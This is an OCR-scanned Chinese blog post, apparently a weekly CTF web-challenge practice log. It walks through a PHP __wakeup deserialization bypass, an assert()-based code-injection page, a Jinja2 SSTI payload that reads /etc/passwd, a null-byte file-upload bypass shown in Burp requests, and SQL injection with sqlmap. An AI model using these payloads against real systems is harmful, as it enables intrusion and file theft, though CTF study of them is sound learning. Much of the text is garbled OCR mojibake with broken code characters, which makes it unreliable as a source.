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XA H S R AR R A, B — AN B _wakeup ()RR HOF A

THEERER)E, RELMJATREE, ER— class xctf, 255 £function_wakeup(), )& FHERE—unserialize(), ~H%

In%pg, —ERFEunserialize()fl_wakeup() B H Lo 5iR BRI .

BT SR, wakeup()X BEIERA RN, 28R 5 H TR H A R R B AN BOREBNE, 2FBURFFIML
RO F B 45 wakeup(VBRIEUR R, B2 BERSCBATE. A TR, REME—payloadsiid_wakeup()BIF], 454+
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X E R AT 2 — AN WL, BEA =R, ‘home’,'project’,‘about .
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Home

Welcome to my website!
| wrote it myself from scratch!

You can use the links above to navigate through the pages!


https://blog.csdn.net/qq_43214809
https://blog.csdn.net/qq_43214809/category_8575697.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_43214809/article/details/86660341
https://blog.csdn.net/qq_43214809/category_8575697.html

M About f5, HR—ANTH, SEZEMSEHAINTE, BE—ABREGH BAXMBHET, \BLgitHE, TA—H, H
KT AERT, RAindexphp, k3 EK—Hk.

=< ?php
Zif (isset(5_GET['page'])) {
$page = $_GET['page']:

} else {

Spage = "home";
]

$file = "templates/" . $page . ".php":
// I heard '..' is dangerous!
assert ("strpos('$file', '..') === false") or die("Detected hacking attempt!"):

// TODO: Make this look nice
assert("file exists('$file')") or die("That file doesn't exist!");

2>
<!DOCTYPE html>
E<html>
= <head>

<meta charset="utf-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta name="viewport" content="width=device-width, initial-scale=1">

<title>My PHP Website</title>

<link rel="stylesheet" href="https:

£ </head>
= <body>
o= <nav class="navbar navbar-inverse navbar-fixed-top">
& <div clazs="container">
= <div class="navbar-header">
= <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-co
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
cenan ~lase=linanchariSe fanans
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<gpan class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav'">
«1li <?php if ($page == "home") { 2?>class="active"<?php } ?>><a href="?page=home">Home</a></1li>
<li <?php if (Spage == "about") { 2?>class="active"<?php } ?>><a href="?page=about">About</a></1li>
<1li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></1i>
<!--<1i <?php if (Spage == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> —-->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once 5file;
B2
</div>
<script src="https:
<script src="https:
</body>
</html>
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blue-whale.me Home Login  Register
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SR, IX/NPITR 7E 4 37 Login F'Register IR %, & ~Not Found, BEARIXHFE, 7ELogin KA THE F&— IR, HRT AR

& C ©® #%&= | view-source:111.198.29.45:30271/login.php

<html><head>

4 <t'Tle 404 Not Found</title>

5 | </head><body>

<h1>Not Found</hl

<{p>The requested URL /login. php was not found on this server.</p>

8| <hr~>

9| <addressrApache/2.4. 10 (Debian) Server at 111.198.29.45 Port 30271</address>
10 | </body></html

11| {!=—Flag @ /opt/flag lde3bdff62adabdecfbcbelfd2efladl. txt—

12| <!—Salt @ /opt/salt b420e8cfb8862548e68459aeld37aldb. txt—

@ o

FRRGEH Tlagtl—MEREE, — MMt ER2NREEEE RS luid, EAREHMNER. BaETRE %%
FERFSERZEN, RENE LT tpmapirHE#, CRUEEEN, BRI TEAMLS; BEAZHRECERE BT
B, BEIESXBLMEN, XERT —%, REHELSSTHEN.

SSTREANRE H LB —RILE], HEBFHALK, XNET —EE, SSTERD 2T FLASK JINJA2RER KIEAN, FLASK
7 B pythonS i1 — M3 FJINJA25| E fjweb S FIHESE, BATMEpythonTH 5t RRIEES, FTUEER, SRM%KERH, M
XFPSSTEL TR AR T X, HF2IMENISH T&ERA T4 Hpythonfii 4 fpayload, LPhpython2 A%, & T304 fpayload

2].__subclasses__ ()[40]('/etc/passwd').read() }}
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XEEARE, EHEEENITRTERABRAEEEIARET X, ETFTEXNMEARNE N8, HELFREMTE, Wit
KEBEHAERE, BATTUEENHEZEFBDHE, BB " cla’+'ss“. "mr+o“. "subcla’+'sses "iXt, 58 Fflag. e
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Not Found
The requested URL /login.php/QCTF {ﬁ was not found on this server.

Apache/2.4.10 (Debian) Server at 111.198.29.45 Port 30271

=, SZuigmE.
1. Etegeid:
BB http://ctf5.shiyanbar.com/web/upload

SRR LA, b ET—ANEA, BniNm &G4 phpl, BAFEEHKH, EAphpXt, 4R
BN _EAEjpg,png,gifia 8K

& — @) Y () ctfSshiyanbar.com/web/upload/upload.php

PR IBHFRIS LR (NS035 E & ipe. gif png[RBRAIS

XMAEEBET, EAMEM. REEFT FourpsuiteU FREFE—T, KZFlrepeater.

Go Cancel < |7 > |

Request

_[ Raw I Params ] Headers ] Hex ]

Accept-Encoding: gzip, deflate
Content-Length: 53881

Host: ctf5.shiyanbar.com
Pragma: no-cache

Cookie:

Hrs hit 2AARFTIERDARNMNARAAARQVAARARAFIRAD=ARALOIARTDIT ARATATRIAD ARAQRQATANDD ARAQTAGNAR.



http://ctf5.shiyanbar.com/web/upload

FHI_IVLE JHUUH DAl D At DL T TUMTNTR WD = TS UD oSS, TS 1T VL 1L, TIFUUOT S, T U T,

Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*101382%2CnickName%3A%E6%A5%B5%
E5%93%81%E2%94%81%E2%95%90%E2%98%86%ES5%AE%S8F;
PHPSESSID=up3lger0o8reajtvaebreqe3m6;

Hm_Ipvt 34d6f7353ab0915a4c582e4516dffbc3=1548746618

Connection: close

----------------------------- 7e3ee010242
Content-Disposition: form-data; name="dir"

/uploads/

----------------------------- 7e3ee010242

Content-Disposition: form-data; name="file"; flename="1.PNG"
Content-Type: image/png

LR, HBUE FRLZ R luploads/ X — &4y, HEIBEMULE, REMWLZ LG SUGNESR LM Ephp, HEFpng. XHEH
ERPRB T LR, XEEERR AR, EEXHFEERE, SSdEXANEAXERE, WM EHRXA K. ZaTisod
JUESSEHEXRWEE, AR, BEFEAR, EXESEERAE 2N Z00% N, mH SRR 00BN H1E, 006 B M i% 2
fEphpfa, pnghl, WEXMAEERELER—T. BAWERN I ERZ2NETF, SkfEflename iR T —TF, &&I), Ham A6
Mluploads/BEFNF T, EFEEEKZ, 00FMMLKIIEM, RAMEXANGRIGZEFER, FTUAGm T AT, BRBUL

T luploads/1.php .png; RJE7Ehex BB 3T M IS, HEMHK00, 152flag.

R
Go Cancel <+ > | Target: http://ctf5.shiyanbar.com | # L
Request Response
Raw I Params THeaders IHex ] Raw | Headers I Hex | HTML TRender]
QU J0 oW LU 40 ©OU Tl o A% 1o % 01 P99 9% 0H JImo, AIT_IPVL_oa4u N H-I—l—Plu].] 200 OK
66 37 33 35 33 B1 82 30 39 31 35 61 34 83 35 6f7353ab0915a4ch Date: Tue, 29 Jan 2019 10:45:06 GMT
32 65 34 35 31 36 64 66 66 62 63 33 3d 31 35 82e4516dffbc3=15 Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
38 37 34 36 36 31 38 Od Oa 43 6f 6e 6e 65 63 48746618Connec X-Powered-By: PHP/5.3.29
69 6f 6e 3a 20 63 6¢ 6f 73 65 0d Oa 0Od Oa 2d tion: close- Content-Length: 231
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d oo Connection: close

2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 65 33 65 -reeeeoeee 7e3e Content-Type: text/html

30 31 30 32 34 32 0Od Oa 43 6f 6e 74 65 6e 74 e010242Content

SO OO S R GO SO G o< 3~ O SOOI pe= g Upload: 1.PNG<br />Type: image/png<br />Size: 52.2500765625 Kb<br />Stored in:

6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 rm-data; name="d Juploads/8a9e5f6a7ar89ach. php<br>4  fRikHflag—H s <br>ﬂag{-achuan}</bod
72 22 0d Oa 0d Oa 2f 75 70 6¢c 6f 61 64 73 2f ir/uploads/ >

2e 70 68 70 2e 70 Be 67 0Od 0a 2d 2d 2d 2d 1.php.png---- </html>
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d -

<html><head><meta charset="utf-8" /></head><body>

2XNERRE KBBR (sqiEAN)

BHBE#E: http://ctf5.shiyanbar.com/8/index.php/?id=1

XERB—KMBsqUEANREE, RZBTXXMEERBMTZH, ERLHEFEE. B—REMENRREE, 58EE
BRHEELR =_= -

BEPEETid=1, THAMNUSGHREARIANASE, BTN ZRsqQUEATEE T . ATIEERsqiEN, 'and 1=144)5'and 1 =
2, RBWATH RS,

< - O o @©  ctf5.shiyanbar.com/8/index.php?id % Y= 4 B < - O m @ ctfS.shiyanbar.com/: > ¥ 7

Notice: Undefined variable: Id in C:\h43a1W3\phpstudy\WWW\8\index.php on line 5 | Notice: Undefined variable: Id in C:\h43a1W3\phpstudy\WWW\8

|||D content \index.php on line 5
||1 welcome to this game! enjoy|



http://ctf5.shiyanbar.com/8/index.php/?id=1

WEREANT, H#E LT AsqimapiZ BB — TR 7. EELEE—TMUAKEEE, KIEmy db;

716a67784741497a44656¢764e

aca logged to text files under ' C

20:43:47 /2019-01-29/

e: my _db
Table: this
[1 column]

k0y
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1.85%, RBTHERNERNESFE, RHECHXMHMNEE. WJRIERIKER, BAE (HEREEAR) , HECER
RBUEHY, HCRET, SREXECHAELE, BAM—EENNRERBK, BRERREENET, SRTEEHEE
BRI HRITENIwp, BARR—ER, S&EWHMRTTE, R MR E,

2HEHAKBH EAREER LR, —MRYUEHFZHARKE R, BEMAERNASENERY, £X—KEUEE
RELZIMEG, ZMER. BXURME, FEROSBSEFR LA T REEITHR], &0iE ALy 236 T RE .
S.BFIERILRG], Bl —EITENwp, —HBIEBER, K, ERSEH.

sql: https://blog.csdn.net/qq_33530840/article/details/82144515

_wakeup(); http://www.venenof.com/index.php/archives/167/

A EAEYRIRA: https://thief.one/2016/09/22/


https://blog.csdn.net/qq_33530840/article/details/82144515
http://www.venenof.com/index.php/archives/167/
https://thief.one/2016/09/22/

	学习周记（四）（上）
	CTF_Web周练习（二）


